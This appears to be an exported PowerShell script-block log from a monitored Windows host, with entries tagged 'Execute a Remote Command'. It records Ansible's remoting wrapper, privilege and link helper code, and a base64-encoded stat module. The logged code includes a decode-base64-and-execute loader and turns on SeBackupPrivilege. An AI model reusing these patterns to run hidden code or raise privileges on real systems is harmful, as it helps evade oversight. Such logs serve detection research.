if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name =
ScriptBlock ID: c422e28d-1228-499a-a0a3-f05ab54584ff
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2288 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0005-3e08-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 69bb22b7-4d45-4c4e-ba2e-191651cc80cd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2287 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0005-3a08-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 0fa17d98-591c-466e-9da9-52e7a834073e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2286 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:13 AM | 61e00a24-ee3b-0005-2c08-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (9 of 9):
Run($payload)
Write-Output $output
}
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2285 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (8 of 9):
CgojIENvcHlyaWdodDogKGMpIDIwMTcsIEFuc2libGUgUHJvamVjdAojIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIHYzLjArIChzZWUgQ09QWUlORyBvciBodHRwczovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0zLjAudHh0KQoKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5MZWdhY3kKI1JlcXVpcmVzIC1Nb2R1bGUgQW5zaWJsZS5Nb2R1bGVVdGlscy5GaWxlVXRpbAojUmVxdWlyZXMgLU1vZHVsZSBBbnNpYmxlLk1vZHVsZVV0aWxzLkxpbmtVdGlsCgpmdW5jdGlvbiBEYXRlVG8tVGltZXN0YW1wKCRzdGFydF9kYXRlLCAkZW5kX2RhdGUpIHsKICAgIGlmICgkc3RhcnRfZGF0ZSAtYW5kICRlbmRf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KCRmaWxlIGluICRpbmZvLkVudW1lcmF0ZUZpbGVzKCIqIiwgW1N5c3RlbS5JTy5TZWFyY2hPcHRpb25dOjpBbGxEaXJlY3RvcmllcykpIHsKICAgICAgICAgICAgICAgICRzaXplICs9ICRmaWxlLkxlbmd0aAogICAgICAgICAgICB9CiAgICAgICAgICAgICRzdGF0LnNpemUgPSAkc2l6ZQogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICAkc3RhdC5zaXplID0gMAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHN0YXQuZXh0ZW5zaW9uID0gJGluZm8uRXh0ZW5zaW9uCiAgICAgICAgJHN0YXQuaXNyZWcgPSAkdHJ1ZQogICAgICAgICRzdGF0LnNpemUgPSAkaW5mby5MZW5ndGgKCiAgICAgICAgaWYgKCRnZXRfbWQ1KSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkc3RhdC5tZDUgPSBHZXQtRmlsZUNoZWNrc3VtIC1wYXRoICRwYXRoIC1hbGdvcml0aG0gIm1kNSIKICAgICAgICAgICAgfSBjYXRjaCB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJmYWlsZWQgdG8gZ2V0IE1ENSBoYXNoIG9mIGZpbGUsIHJlbW92ZSBnZXRfbWQ1IHRvIGlnbm9yZSB0aGlzIGVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGdldF9jaGVja3N1bSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHN0YXQuY2hlY2tzdW0gPSBHZXQtRmlsZUNoZWNrc3VtIC1wYXRoICRwYXRoIC1hbGdvcml0aG0gJGNoZWNrc3VtX2FsZ29yaXRobQogICAgICAgICAgICB9IGNhdGNoIHsKICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgImZhaWxlZCB0byBnZXQgaGFzaCBvZiBmaWxlLCBzZXQgZ2V0X2NoZWNrc3VtIHRvIEZhbHNlIHRvIGlnbm9yZSB0aGlzIGVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAjIEdldCBzeW1ib2xpYyBsaW5rLCBqdW5jdGlvbiBwb2ludCwgaGFyZCBsaW5rIGluZm8KICAgIExvYWQtTGlua1V0aWxzCiAgICB0cnkgewogICAgICAgICRsaW5rX2luZm8gPSBHZXQtTGluayAtbGlua19wYXRoICRpbmZvLkZ1bGxOYW1lCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtV2FybmluZyAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIkZhaWxlZCB0byBjaGVjay9nZXQgbGluayBpbmZvIGZvciBmaWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "stat", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_shell_executable": "/bin/sh", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "get_checksum": true, "_ansible_check_mode": false, "checksum_algo": "sha1", "follow": false, "path": "C:\\collect-event-log.ps1", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050471.97-256601262185470'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.
ScriptBlock ID: f4b99521-e5ec-4ed0-a1cd-d4a29006ed6e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2284 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2872 | 2948 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:12 AM | 61e00a24-ee3b-0005-2608-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (7 of 9):
gICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAt